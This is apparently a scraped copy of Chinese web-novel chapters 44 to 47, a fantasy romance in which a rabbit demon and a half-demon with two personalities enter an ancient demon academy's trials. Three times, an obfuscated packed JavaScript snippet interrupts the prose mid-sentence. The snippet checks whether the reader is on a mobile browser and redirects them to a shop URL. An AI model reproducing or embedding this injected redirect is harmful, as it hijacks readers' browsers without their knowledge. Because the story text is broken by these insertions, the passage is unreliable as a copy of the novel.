雪漪离得最近,恼怒队伍中竟出现叛徒,五指成爪袭向五尾狐妖:“你是谁?法器还来!” 雪仙早有料定地笑笑,阵盘再动,她已出现在法阵之外。 所有的变故不过几个呼吸而已,妖神古墟淅淅沥沥地下起了雨。 玉扶从不详中感受到了山的气息,那座神圣庞大的山,似在苏醒。 山也是有“死”“活”之分的,像先才飞越的那些山,山中半点生灵活气也无,山体核心也死寂,可当下的这座山不同,虽也感不到活气,可山中核心却似只是沉睡。 法阵的动荡,大妖们的奋力争斗,仿佛都惊扰了山的沉眠。 它在苏醒,在动摇,在生气—— 玉扶提醒裴息尘:“阿裴,这座山要活过来了!” 裴息尘无空回话,只动手将玉扶更塞入怀中,身形化出巨大的蛇形虚影,攻向了法阵之外的雪仙,是的,那只没死的狐狸,果然又出现了,即便是换了个身体。 他唇角带着邪肆的笑,是定要再杀雪仙一次的狠厉。 不杀她,这妖神古墟再多的传承,都无法令人安心。 雪仙自是早在入妖神古墟之前,就发现了裴息尘的存在,她便知,她的少主人,无论是为了探究也好,还是为了变得更强,他是一定会来的。 此刻被发现,她并无惊讶地一面压下法阵,一面五尾张扬抵御,手中悄悄捏上了骨哨:“少主,何必这样绝情,我所为可皆是为你。” “妖神传承,你可为王!” “我替你将碍眼的除去,你何必拦我?” 裴息尘不为所动,巨蛇虚影继续压下。 雪仙不曾换身体时就不是裴息尘的对手,如今亦然,察觉稳定的阵法都被压迫得不稳,当下,不再犹豫,吹响骨哨。 裴息尘的攻击凝滞一霎,穿透骨膜的疼痛在往他的的脑子里钻,细密的,牵绊的,犹如骨血中生出的丝线,强缚着他做着不该他做出的决定。 然也就是这样一瞬的功夫,巨蛇虚影没有彻底压垮雪仙,而是,失控地撞碎山石,也令法阵有了一瞬的松动。 法阵内的大妖们,自是不甘成了献祭的养分,抓住这一瞬的松动,各种手段使出,本被大阵吸引的法器开始出现偏移。 眼见,局势将要扭转,法阵内的妖当中,竟又出现了叛徒,自杀似的阻挠,不令献祭中断。 裴息尘强忍脑中刺痛,唇畔冷意更甚,凶剑被祭出。 狐妖早就对裴息尘有了防备,身上的防御法器不知几多,便是裴息尘再如何强攻,也一时不能速战速决。 一时间,无论是法阵内部,还是法阵外部,打斗的发光就没有停歇过。 玉扶心中焦急,她自是参与不到大妖的打斗中,可对山的感应她是专业的,献祭没有成功,但山已经苏醒,远古磅礴的力量自山的中心荡出。 想是被他们的不敬给气醒的。 44. 第 44 章 玉扶在确认山苏醒的一瞬,当机立断,跳出了阿裴的怀里。 她变得很大,强行带着阿裴向前跑。 虽然,还是被突然出现的白光吞进去了,可是,她瞧见更多打得不知天地为何物的妖,就像是被嫌弃了一般,甩得飞过了她的眼前。 所以,阿裴该谢谢她,而不是趁机摸她的尾巴! 玉扶羞恼地用头将裴息尘顶远了一些,才化形为少女,她捂着自己的屁股,脸蛋红扑扑的。 很是不开心地问:“你是不是早就知道他们找的是同一个妖墓?” “猜到的。”裴息尘一面回答玉扶,一面打量周遭,脑内的刺痛仍令他神经紧绷,他不知晓狐妖用了什么手段,不过可以肯定的是,杀了准没错。 狐妖是个威胁。 但,现在的所在,他并没有发现任何狐妖的气息,甚至,先前一同混战中旁的妖的气息也无。 高大的古树密成林,全然不似先前不是沙漠就是焦石的所在,放出的神识,唯能感到这里的灵气浓郁,还有—— 危险。 簌簌的响动,风带来的妖兽气息,全都在警醒着他们。 玉扶神识虽没有息尘的强,但对待危险的本能,也足够她进行判断,她不再介意阿裴根本微不足道的隐瞒,贴近了他,声音都带着颤地问:“阿裴,我们这是到哪了?” “怎么这么多猿兽?” 不过片刻的功夫,他们被猿兽包围了。 或者说,猿兽们本就在此,而是他们落入了猿兽的地盘。 若是一般猿兽,玉扶不至于怕,裴息尘也不至于戒备,然,这些猿兽,身上散出的气势,修为皆不低,其中还不乏化神的。 按理,能达到化神实力的妖兽,就算不会化形,也该开智了,可这群猿兽并见不到半点智慧,只有对地盘被侵占的愤怒,发出的声音,刺耳且带着震动的声波。 裴息尘不愿被这群古怪的猿兽缠上,拉着玉扶欲遁空离开。 然,他顿住了。 空间之术竟无法在此地施展,恰是时,猿兽在怒吼威慑后,开始进入战斗模式,躯体变得犹如小山一样大,体表覆着的岩石变得赤红,四面八方地朝玉扶与息尘压来。 裴息尘拉着玉扶腾空而起,凶剑划过,只与猿兽发出碰撞的兵戈声,半点未曾损伤猿兽。 但这些反抗无疑惹怒了猿兽,更多的猿兽加入了战局。 音波与猿兽□□的攻击,带着摧毁整片密林的恐怖力量。 玉扶撑不住地变回兔子躲了起来,她也想帮阿裴,可是力量的差距,不拖后腿才是正经。 裴息尘一边躲避猿兽的攻击,一边观察它们的弱点,从稍弱的猿兽下手。 他发现,当锋锐剑意扫过猿兽体表岩石铠甲的缝隙内时,猿兽会更愤怒。 有弱点,那便好。 他无空与这些古怪猿兽多纠缠,招招都带着“杀了”的狠意。 同伴的倒下,猿兽越发愤怒,几只力量极强的化神妖兽,情绪激动地站立,捶胸间,似有无穷的地脉之力被汲取,伤势恢复,身躯变得更大,手臂变得更长,铠甲缝隙的流动着熔岩般的纹路。 更难对付了。 裴息尘不得不更频繁地躲避。 玉扶牢牢躲在他怀里,音波带来的眩晕缓和后,也开始想办法,施决利用无相石生出地刺,阻碍猿兽的追击。 这片林子也太古怪了,除了紧追不舍的猿兽,还有许多旁的强悍无比的异兽,不开智,但都极强。 就恍如回到了古妖神时期。 她听姥姥说过,古妖神时期,天地灵气浓郁,妖神为尊,普通兽类也得天独厚,力量强大。 可惜后来妖神大战,古妖皆覆灭,至于幸存的妖族,血脉一代代争斗稀释下来,也就成了如今的妖族。 玉扶并不稀罕古妖神时期妖族的强大,她生来就在秩序稳定的修界,妖与人,处于非常相当的状态,她觉得挺好。 但,此刻感受着这些没开智,偏又极强悍的妖兽追逐,玉扶恼极了,不长智慧,生得这么厉害做什么,不小心闯入而已,谈谈的机会都不给。 裴息尘见甩不开猿兽,便也专挑旁的异兽地盘跑,混战中压力减轻,但同样的,时会被新的妖兽缠上。 从入夜到白日,终于,他们摸到了密林的边缘。 最后紧跟他们的一只巨猿兽,裴息尘强力化出巨大的蛇形虚影,缠上去,绞紧,凶剑同时破开岩层穿胸而过,妖丹碎裂,地震一般的震动消失,未冷的妖兽鲜血,随着拔剑,喷溅而出。 明亮的日光投在他身上,盛美非凡的面庞虚弱且妖冶,瞥目间妖性流转,摄人至极。 密林之外岁数不大的妖修,纷纷后撤,议论随之起: “那是磐石巨猿?我记得这只群居在万兽母林中。” “天啊!他不会是从万兽母林杀出来的吧?” “什么怪物?能从那里面杀出来?莫不是假的。” “怎可能是假的,你我皆见着了,体大如山,肤覆岩甲,性狭易怒,怒时熔岩流身,敌不死不消,和书上记载得一模一样。” “不过考个妖神学宫,犯得着拼命?” “我等生来大妖,自是不用拼命,我瞧他骨龄不小了,身上血脉气息也不够纯,不会是故意跑到万兽母林的吧?” “即便这样,学宫也不见得会收他。” …… 裴息尘显然听到了他们的谈话,打量防备间,处理着稀少的信息,原来,他与玉扶起初所落之地,是个唤作万兽母林的地方,因凶险,才同外林的试炼之地有了区分,也因这种区分和防止万兽母林中的妖兽跑出,才有种种禁制,令他无法施展空间之术。 而这些嫌他年岁大的年轻妖修,是将他也误当做了考什么学宫的一员。 莫明的境地,奇怪的年轻妖修们,他们年轻,最年长,也不过百余岁,但个个身着不凡,修为也皆在化神往上。 这样的年龄达到此等修为境界,无论是在妖界还是人界,皆是极其少数的,裴息尘昔日已经算得上是异类,可与这些年轻妖修相比,就如他们口中所议那般,平庸的很。 他久久没有说话,按着怀中的玉扶,姿态瞧着松散,可衣料下的每一块肌肉,都绷出了可再一战的弧度。 玉扶感受得到息尘的警惕,她也暗自焦急,没有比她还知晓阿裴现下真实状态的了,密林中的妖兽都是变态,强得过分,阿裴根本再经不起同一群大妖们争斗。 听着靠近的妖修动静,玉扶的心跳极快,耳朵时时刻刻防备着一毫的动静,阿裴若实在撑不住的话,她也不是没有良心的兔子,她会努力带他跑的。 不过,很快,玉扶察觉到靠近的妖修没有找他们的麻烦,而是去查看死去的猿兽,而后,给了裴息尘一块玉牌。 温润的嗓音响起:“冒进不可取,下不为例。” 继而高声,似在同所有妖修在说话:“此关试炼就此了,入选者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542601|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,同我入学宫待叩宫考核。” 声声应“是”中,各年轻妖修纷纷上了各自车驾坐骑。 裴息尘盯向走远的文雅妖修身影,摩挲手中玉牌,玉牌正反皆有字,古朴厚重,还莫名有些亲切。 他肯定,无论是息尘还是他,都不曾学过此等文字,可不知为何,他能认得,就如骨血传承般自然轻易地认出,玉牌正面“学宫”二字,背面单字一个“过”。 应是通过之意。 此处古怪可真不是一处两处,裴息尘略略抹去脸上的血迹,收起玉牌,抬眼看向从眼前行过的车队。 这些车驾拉车的妖兽,比之三大妖族都要豪横,车驾更是各有特色,但无一例外,都彰显着他们的强大与出身。 而在车驾往后,零星跟着些或负伤,或寒酸的妖修。 甫一对上眼,对方眼里如同见着同类一般热情,邀请:“可要一起?” 裴息尘没有拒绝,上了一辆独角犀牛拉的木板车,车上挤挤挨挨着不少妖修。 不一会,各妖修聊开了,有对裴息尘感到好奇的,也有大方分享自己伤药的…… 裴息尘从他们身上感受不到恶意,秉着多说多错,极少开口,但也渐从他们口中得知,所有行队中的妖修皆是为选入妖神学宫而来。 就在不久前,他们通过了第一关,而他是最后一个通关者。 此关,考察基本实力,可单独猎杀一化神妖兽即算过关。 尤其是前头那些年轻极了的妖修,都是各妖族推荐而来的,不但血脉上佳,潜力也无限,代步的车驾都令人生出无限渴望。 至于他们这些挤在一块的,是凭缘分收到“妖神帖”特来参加考核的。 所谓“妖神贴”,可能是一片鳞甲,也可能是一片羽毛,还或者是一块兽皮……总之皆是学宫特意散出,寻找的有缘者。 裴息尘恰是被当成了此类。 有妖修惊叹:“妖兄,你但凡再晚一点出来,可就错过了入选。” “不过,你当真是闯入了万兽母林?” “你有此等本事,不愁入不了学宫。” “我观你身负腾蛇血脉,怎没有举荐?” 对此,裴息尘用他那张迷惑人的脸全然接受了他们对他猜测——血脉不纯孤注一掷的大龄妖修。 甚至趁机拉出了玉扶,一只也血脉不纯,与他相依为命的兔妖。 惹得了一群同病相怜的妖修一个个吐露更多。 玉扶于一群大妖中间,半点不敢动,很快又躲入了阿裴的怀中。 不过,也从中知晓了,她是能跟同一起入学宫的,只要裴息尘能入选。 毕竟,那些有背景的妖修,哪个身边不带上一两个妖侍? 阿裴有意无意打探中,木板车也行的很慢,但并不怕跟不上前头的队伍,从第一关试炼开始,就已是学宫的范围,此地对飞行多有限制。 还未正式入选学宫的妖修皆在限制当中。 慢慢的,他们经过了一块巨大的石碑,上书“妖神学宫”四字,磅礴强大的力量从内溢出,众妖也开始变得肃穆,不再多言。 石碑往后,古朴山门,山门之后,只能瞧见非常多的山系,踏入山门,平和宁静的气息将他们团团裹住。 玉扶于宁和中,感应到了那座苏醒的山。 但又有点不同,似真非真,似假非假,好奇怪的感觉。 她还想感受,那种能捕捉到的感觉又倏地消失得无影无踪。 45. 第 45 章 带队的文雅妖修,将所有通过第一关的妖修安排了住处。 玉扶终于得以重新化形,同阿裴相谈。 “我感应到了将我们拉来此处的那座山。”玉扶问:“我们是不是被它拉入了幻境?” 裴息尘没有回应玉扶,他不适地揉额,自与狐妖再次相战,他的头便一直刺疼,又与各类妖兽缠斗一夜,在入了妖神学宫后,这里平和的气息,并没有压下他的头疼,反令他生出躁意,一股失控感油然而生。 他开始压不住识海深处的禁制。 抬目盯向玉扶一瞬,瞳孔显出凶狠妖性的竖瞳。 玉扶被吓到地后退。 裴息尘努力闭目,压下焦躁。 一点轻微的移动在靠近,玉扶抱住了他:“你一定是累了,才不小心凶我。” “我在这里,你可以靠着我睡。” “有危险我再喊你。” 比起阿裴,玉扶因为太弱,倒一直被护得好好的,即便阿裴方才凶她了一下,玉扶觉得自己也不该介意。 她也确实没有介意,她只不过是本能地被吓到一下,现在就一点感觉都没有了,她下移的手,一下一下地顺着他的发抚着他的脊背。 少女的拥抱软软的,抚一下抚一下的动作更是轻柔的很,但这些仍旧没有克制住裴息尘的焦躁,此长彼消,他的虚弱,另一个意识,开始挤占他的意识。 玉扶向下抚的手倏地被扯住,腰肢也被粗鲁地一带,落到了裴息尘的怀中,他的手,带着不容抗拒的力量锢着玉扶。 属于男性的,大妖的气息,压身而下,他忽视玉扶细微的害怕,唇似若有若无地擦过她的鼻尖,等到她不再抗拒了,舌尖一点一点地舔过她饱满的唇瓣,一股灵息随之渡过。 活的,会动的,还在变大,温柔缱绻地缠着玉扶的神魂小兔。 简直惊喜得不像话。 玉扶几乎要浸腻在这种温柔当中,可还是好奇怪,阿裴分明是该虚弱的,怎还这样大方? 良心与贪心相抗拒着,她眸中沁出迷茫的雾色。 终于,裴息尘停止了渡过灵息,他用轻柔的嗓音与玉扶道:“阿扶,这里不是幻境,我们许是被带入了昔日之境。” 玉扶不太懂昔日之境是什么,单就阿裴也难以应对的妖兽们来看,一定不会是简单昔日的留影。 她也不懂阿裴怎么亲着亲着就说起这些来了,不过,她被亲得实在舒服,那渡来的灵息小蛇,比以往的每一次都要乖,她几乎不用费什么力,就能将它吸收,化为自己的修为。 神魂小兔更是可见地大了一圈,彻底地将不断变小的灵息小蛇压在身下。 她迷迷糊糊地胡乱点了点头,视线紧紧跟着他张合的唇。 裴息尘的话还没说完:“这在里,你可以随意参与过去。” “阿扶,你不是想变强吗?昔日大妖们的授课,或可听听。” “旁的机缘,也尽可慢慢去寻。” 玉扶下意识地觉得不对,一下抓到关键地问:“你不陪我吗?” 阿裴不是还没考入学宫吗?怎么就跟交代要她独自去面对一样? 玉扶慌张地揪紧了裴息尘的衣襟。 裴息尘似被她的依赖取悦了,一边笑,一边不忘引诱她:“阿扶,为带你来此,我有些虚弱...... 你会等我的对不对?” 虚弱.....是为她吗? 玉扶脑子转得有些慢地思考。 好像是这样的,是她想变强,所以阿裴答应带她来妖神古墟,也所以会遇到很多妖兽的袭击…… 那,当然要等阿裴好起来。 玉扶认真点了头。 裴息尘唇线更弯成愉悦的弧度,昳丽妖孽的脸庞再次压下:“再让我亲亲你......” 唇瓣碾着唇瓣,他的舌开始往玉扶的唇缝里探,引导道:“阿扶......张开一点。” 他的声音,无端地让人煎熬,玉扶微喘一下,便被攻城略地,他简直大方的过分,更多灵息渡来,舌顶着舌,强迫着她吃下。 玉扶被他折腾得失了神,妖眸瞳仁都变了色,鲜润的唇张着,被强硬地,不容抗拒地吞入更多灵息,一旦有溢出的迹象,阿裴的舌便会连同她的哼哼声一同卷入再次往她喉间送。 她发了一层薄汗,透瓷一般的肌肤绯红无比,她呜呜咽咽地喘息,寻机求饶:“不要了......阿裴,我不要了......” “......吃不下......一点也不行了......呜呜。” 她的神魂小兔已经膨胀到滚圆,再吃下去,灵息乱跑,她一定会控制不住自己的,她呜呜地摇头,甚至咬了阿裴一下。 终于裴息尘从埋头苦喂中停歇,黑色的眸子里,全然不见了懒散,取而代之的是欲将猎物吞吃殆尽的专注,他注视着玉扶,指尖撩开她的湿透的碎发:“阿扶,这次吃饱了?” “应很久不会想旁的人了罢。” 他并不是在问,而是肯定地给玉扶做判断:“嗯......阿扶,回答我。” 沙哑而冷静的语气,甚至惩罚式地弹了弹玉扶唇,要她回答。 玉扶眼泪都还挂在腮畔,对他的恶意欺负,真是又气又不知道怎么办,她完全不敢指责他,总不能说他太大方,她吃撑了吧,那才是真吃撑了。 她张了张唇,想说些什么,一个饱嗝先从喉间溢出,继而像是打开了什么开关,一连串的小嗝要冒出来,她急忙捂住唇,睁得圆圆的眼睛愈发灵动。 裴息尘噗嗤笑了:“看来是真吃饱了。” 他真可恶,可是他笑起来,总坏坏的,诱人的,有种吸引得人面红耳赤的气质。 玉扶完全无法对他怎么样,气气地从他腿上起身,坐得离他老远,消化起得到的灵息。 许久,玉扶都没有被打扰,而这次的得到的灵息也确实过多,玉扶一时无法消化,只能储藏在神魂小兔当中。 她偷偷撩眼去观察阿裴,发现,他竟然靠着床柱睡着了。 她慢慢靠近了阿裴,在脚踏处坐下,抬手于他眼下挥了挥,没有动静,看来是真的很累了。 后知后觉的,玉扶想起他说的虚弱,还有在万兽母林中受的伤。 都怪阿裴,突然地亲她,她都忘记关心他的伤了。 玉扶并不想吵醒他,小心翼翼地捏起他宽大的袖摆,往里看,只有浅浅的伤痕,血都没有,愈合这么快的吗? 她是知晓有些大妖的皮甲鳞片异常强悍,伤愈能力也极强。 阿裴也是属于这种吗? 玉扶视线落在他的腰腹,要不要解开看看其他地方呢? 她在犹豫。 对待阿裴,他的没下限,总让她变得很谨慎。 渡情期的分明是她,可每每招架不住的也是她,他比她还妖精,一点也不可控。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556599|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在他的映衬下,她满脑子的知识,都显得纯良了。 玉扶一想起这些,气闷无比,好半晌都没有任何动作,只是静静地坐着,可是这样毫无威胁,毫无防备的大妖是极少见的,他总是慵慵懒懒的假寐,她稍有一些举动,他就会给出反应。 他是真睡着了。 玉扶再次肯定。 一睡一醒,静谧极了的相处,玉扶的谨慎开始变淡,她会想,万一其他地方的伤更重呢?就算阿裴恢复力强,没好之前,也是会痛的吧? 还会担忧,他会虚弱很久吗? 不然为何突然喂饱她? 她的手开始不受控地上攀,仰起的脸,仔细地观察阿裴睡着的容情,好平静,好柔和,闭上的眼,坏蛋的气质全不见了。 气息包容得就好像,可以随便对他做什么。 轻轻一掰,玉带钩松了,本就爱留点口的交领右衽霎时松散,清洁的小法术自是修复不了衣袍的破坏。 锋利的妖兽抓痕,肩部往下,清晰的几道衣料破口。 玉扶轻易就能看到他的伤在哪。 只要她伸手去拨一拨。 玉扶如是动了动,翻起的外袍露出了白色的衬底。 衬底也是破的,透过破口,可见的伤处,愈合了,只那疤痕还未消。 微微的浅肉1色凸起,与旁处完好的肌肤对比鲜明,刚伤的时候应是很疼的吧? 一丝玉扶也说不清的情绪漫过了心头,幽微的,不适的。 好像是心疼的感觉? 她的指腹并不敢触上去,而是撑着床沿,浅浅地对着阿裴的伤处吹了吹气。 不知是不是错觉,伤疤旁完好的肌肤,似乎变红了? 玉扶又吹了吹。 立即,肌肤连着筋骨有了动静,被玉扶拨开的外袍瞬地合上,他醒了。 玉扶并没有退开,抬起的眸子里倒映着裴息尘:“阿裴,你醒了。” “我没有想吵你,我只是想看看你的伤。” “你还会痛吗?” 玉扶的指尖隔着衣料,触上了那伤处,湖水一样清澈的眼睛,无声地继续说着她的担心。 她的美,是独属天真少女才有的清澈明亮,然,息尘已知了她的另一面,她清艳,大胆,与另一个他将破戒之事几乎做尽。 他也已知,原来,那一夜哭泣的她,是在想着他自、渎。 可是,息尘并无法怪阿扶,她是妖,天性罢了。 非要怪的话,反倒是另一个他,引诱了她。 是的,引诱,阿裴的所为,他有看在眼里,起初,意识被禁锢之时,他确是无法感应到外界的。 可后来,不知为何,禁制之中,竟开了一丝感应,他常能感应到阿裴做的出格之事,也能见他对玉扶的欺负。 他想过阻止,也想过冲破禁制。 然而,并做不到,他们本就是一体生出的不同意识,既排斥又相融,此消彼长,唯有一方弱,另一方才有机会出现。 阿扶,不该靠近他们的。 因阿裴的存在,息尘再见玉扶,实逃不开自责与羞愧,一时竟不知该如何同玉扶开口。 他的眼神好奇怪,玉扶开始忐忑,她觉得阿裴有点不像阿裴,阿裴的眼神才不会出现类似慈爱包容的神色。 这种感觉,更像是息尘。 果然,下一刻,她便听见了息尘柔柔的叹息:“阿扶,我不是他。” 46. 第 46 章 一经确认,玉扶蓦地慌张。 就恍若犯了错,被大人抓到的小孩一般无措。 在息尘慈和包容的目光中,玉扶脑中全是同阿裴的荒唐。 她并无法确定息尘会不会知道这些,可她就是心虚的很。 息尘虽然经常很呆,还说些妖听不懂的话,可对她是很好的,他救了她,给她改功法,想办法带她去游仙会,帮她变强…… 而她呢,在阿裴占了他的身躯,轻易就倒戈了,甚至,在阿裴的日渐大方中,早就忘了对息尘的承诺。 可当息尘出现时,她也并不想被息尘讨厌。 越想,早就压下去的愧疚感,气泡一样地冒出来。 她蓦然大睁的眼眸中,很快溢满了泪水,嗓音也哭腔似的道歉:“息尘......对不起……” “我一点也没有帮你。” “我没有......灌他酒......” 玉扶很认真地在反省,也很努力控制自己不要哭,可她就是忍不住,反省啦,心虚啦,脑子里一会是威胁她的阿裴,一会是对她失望的息尘,她控制不住地往坏的方向想,会担心,息尘讨厌了她,也害怕,他又说什么你可以离开的话。 她不是个能藏得住想法的兔子,尤其是想得太多,这眼泪根本不听话,啪嗒啪嗒地落。 息尘从来没有过这样的感受,心都被揪了似的,阿扶只是一只小兔,她已然因他之过,承受很多,她不该还苛责自己的。 他伸手,并不多触碰地,只用指节拭去她眼下的泪:“阿扶,莫哭了。” “你很好,不是你的错,不必为没有帮上我而苛责自己。” “他......” 息尘顿了一下,似在想该如何提及阿裴,那些全然出格的感知,他并不能完全撇开去,可若提及,又实无法再坦然面对阿扶,到嘴边的话,转来转去,最后只成了一句:“他是我之责。” 没头没脑的,玉扶不太理解。 不过,她总是很容易察觉到息尘的善意,也很容易原谅自己,她是妖嘛,妖都这样,她已经道歉了,是息尘不怪她没有帮上他的。 玉扶很快收了可怜兮兮的眼泪,与他确认地问:“那你不会赶我走的吧?” 似曾相识的问题,息尘叹息一声:“阿扶,我不会赶你走。” 玉扶终于放下心来。 不管是息尘还是阿裴,玉扶已经习惯了依赖他们,阿裴大方,息尘温柔,他们变来变去的,玉扶都要适应了。 只要不被赶走,她的渡情期对象,就还是稳稳的。 玉扶绽出笑,许是才哭过的缘故,颊靥上还飘着些许红晕,既娇美又楚楚可怜,不期地,息尘脑中闪过了许多不属于他的画面。 他狠狠闭了闭眼,落于储物袋角落的佛珠瞬地重新出现在他手中。 许久不见同副面孔下的佛修模样,玉扶稍愣了一下,才关心地问:“阿裴先前就不舒服的样子,息尘你是不是也有哪里不舒服?” 玉扶想着,息尘的筋骨没有大妖能抗伤,他们交换了,一定是伤口痛了。 她慌忙去翻能用的伤药,却被息尘制止了:“我无事。” 玉扶:“真的?” “真的。” 息尘温和回应玉扶,心中却止不住地惊骇,他发现,距离上次交换,他的身躯变化颇大,妖性的释放一直在改造着他的身躯,有不同于原先经络走向的副脉生出。 体内全然流转着两套不同体系的力量走向。 不管是妖还是人修,修行皆以吸纳天地灵气化为己用,可还会有灵兽、妖兽,妖力、灵力等区分,盖因对灵力运转的不同,像阿扶,她自有一套灵力的运转方式,而他之前一直用适应人修运转方法,往她身上渡送灵力,少了并无妨,可若多了,也是会引起冲突。 但二者,也不是没有共通点,只要寻到妖与人身上相互可取代的穴点,自可畅通。 现下,他体内不同走向的经络,便处于相互适应交汇的阶段。 当这些完全融成一系,那无论人还是妖的修炼方式,于他皆再无阻碍。 但比起这,更令他倏然明悟的是,原来玉扶当初的失控,或与他给她渡送的灵力有关。 一时间,对玉扶愧意更胜。 尤是他出神的功夫,玉扶一直在观察他,她微咬着下唇,瞳光时而怯时而为难,终于,还是藏不住想法地问:“息尘,你们交换后......嗯......是都清醒的吗?” 她实在不知道该如何描述,支支吾吾地才将话说全。 但息尘一瞬懂了玉扶在问什么,耳廓蓦地发热,于禁制中,他虽非时刻清醒,可当另一个意识情绪波动过大时,他总能清楚感知。 佛宗弟子,是不该说谎的,然则,若要与玉扶承认这点,他也并做不到。 “不是......”一直清醒。 息尘终是只吐了两个字。 玉扶却呼了好大一口气,不是就好,不是就好,虽然经过了好几次他们的交换,玉扶有发现阿裴知道的有点多,可阿裴也是妖,本来就不知道羞耻,息尘不一样,圣洁,心肠又好,若是在阿裴支配身体时,息尘是醒着的话—— 一想到这种可能,玉扶就莫名羞耻得脚丫都发麻。 无疑的,息尘的回答给玉扶吃了一颗定心丸,浑身都自在不少。 眼见她又要发问,息尘并不想再继续这个话题,打断道:“阿扶,同我说说我们至此的遭遇罢。” 玉扶咽下了想问阿裴的意识如何,认真从入了妖神古墟开始说起。 间或息尘问,她便答。 息尘对此在意识禁锢时,也不是全然无感,不消片刻,即将所有厘清道:“此地确是昔日之境。” 第二次听到这个名词,玉扶忍不住问:“什么是昔日之境?真的不是幻境吗?” 玉扶对幻境是有阴影的,但也深有体悟,高级的幻境会令人根本意识不到处在幻境中,但当清楚自己身处幻境之时,那幻境的效用就会大打折扣。 玉扶无比肯定自己是清醒的,入妖神古墟后的每一细节都能回想起来,可即便这样,这里还是太奇怪了,遇到的妖兽、妖修,活得太真实了,真实得就好像她被拉入了另一个时空一般。 她趴坐着,面上满是想不明白的纠结,乌黑眼瞳望来全是亟待解答的渴求。 求知得乖巧,惹人怜。 息尘被自己的想法惊到,他似乎越来越无法将眼下的少女只当做小兔看待,她肌肤莹莹,长发又黑又软,没有姿态地趴在床沿,腰肢下陷,弯出柔软纤细的弧度,再往下,息尘别了眼,冷淡自制的声线几乎没有波澜: “昔日之境不属幻境,由生灵万物覆灭前所有念力汇成。” “古书记载,妖神为尊时期,曾有一座凝聚妖族的圣山,阿扶,你感受的山,或就是那圣山。” “你我落于此,许是因圣山苏醒,连同昔日覆灭的生灵执念一同重现了昔日之境。” 玉扶好像懂了地点点头:“意思是说,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582976|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里遇到的每生灵,都是以往真实存在过的吗?” 息尘赞赏地看了看玉扶,继续道:“圣山不灭,我们所遇到的这些,或会一遍又一遍地重演他们生前的经历。” “我们虽为外入者,可以随意参与过去,但决计改变不了过去,同时,也决不能被往昔之景拉入覆灭,否则,将再也出不去。” 玉扶越听越品不出好来,她是想变厉害,可并不想死,这么危险的地方,在息尘之前的阿裴,竟然一点也不提! 玉扶气得鼓腮:“那我们要是想离开,是不是要先寻到圣山?” 息尘点头,又道:“这并不急,我观此间时间流速尚早,域界也稳固,在圣山不行之前,阿扶,这里的机缘于妖族而言,可遇不可求。” 他笑得温和又包容,与阿裴截然不同的气质出现在同一张面庞之上,圣洁得如有光晕一般令人目眩。 玉扶晕乎乎地点头。 息尘:“叩宫考核或是我们进入学宫后接近圣山的关键。” “阿扶你......” 玉扶没反应,息尘无奈又唤一声:“阿扶。” 玉扶从欣赏中抽离,眨了眨眼。 息尘:“阿扶,此学宫招生多有限制,许是要委屈你当我妖侍带入,可愿?” 玉扶完全没有意见,她早就发现了,自己在这什么昔日之境中,更显弱了,随便一个年岁与她差不多的妖修,修为都有化神。 就连不开智的妖兽也能碾压她,嫉妒死了。 不过也确实能说明,她在这里,说不定也会很快变得很厉害。 当下唇边又露出甜滋滋笑意地点头。 * 是夜。 往昔之境中全然重现了数万年前的妖神之地,月盘遥远而清亮,星子排布神秘瑰丽。 息尘没有歇下,还未正式入学宫,同一屋中的玉扶也因是被当做小兔带入,并分不得其他住处。 她想来也是累了,于洒入房中的月辉下,修炼着修炼着就发出了绵长的呼吸。 息尘将重新化为小兔的玉扶抱回床上,独自内观体内新生脉络。 既是妖神学宫,收的弟子也自然是妖,他对妖性并不熟悉,且需适应。 体内一银一金的脉系,他不断尝试运转,并试图寻到融合穴点。 这无疑会令他的身躯妖化更甚,可又能如何呢,生来半妖,即便割裂也无法彻底摒弃,且也不光是为玉扶寻机缘。 他亦有事关过去,事关诞下他的母亲之谜未解,唯入妖神学宫,方可探寻。 这一入定,便是直到天明。 被衾中拱起一点弧度,继而,玉扶冒出了毛茸茸的脑袋,她不想变回兔子的,可谁让他们一间屋子,息尘又是好正直的佛修呢,她不想他离她很远。 加之她的心虚,只好表现得更乖巧。 不过她总是忍不住的,她很快重新化形,又出神地盯着息尘看,但越看越满脸的苦大仇深。 不是息尘不好看,也不是他还不够包容。 而是,玉扶想起来阿裴,那个坏蛋。 他一定是知道会有息尘出来,所以才把她喂得饱饱的。 是在防着她想息尘呢。 玉扶又想哼哼了,可是,不得不说,坏蛋的威慑力对她还是很有作用的,她也就只是想看看息尘而已,没有想和他亲亲,也没有想吃他。 她应该会有好一段时间,不会有渡情期的欲1念了,可还是好气啊! 她不该答应等坏蛋的! 47. 第 47 章 